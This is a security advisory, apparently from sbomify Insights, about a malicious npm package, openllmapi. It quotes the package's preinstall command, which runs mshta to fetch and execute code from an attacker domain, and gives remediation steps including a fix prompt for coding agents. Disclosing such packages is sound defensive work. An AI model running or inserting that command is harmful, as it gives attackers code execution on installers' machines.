# MAL-2026-6364: Malicious code in openllmapi (npm)


- **Type:** Malicious package
- **Package:** `openllmapi` (npm)
- **Published:** 24 Jun 2026

## What is MAL-2026-6364?

MAL-2026-6364 is a malicious package in openllmapi, published on 24 Jun 2026. 

### Official description

The package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c "mshta http://fixars.top"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.

## What should I do about MAL-2026-6364?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6364 is a malicious package: openllmapi (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6364/ (Markdown: https://insights.sbomify.com/MAL-2026-6364/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6364

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6364/
Summaries are generated and may contain mistakes; the official description above is the record.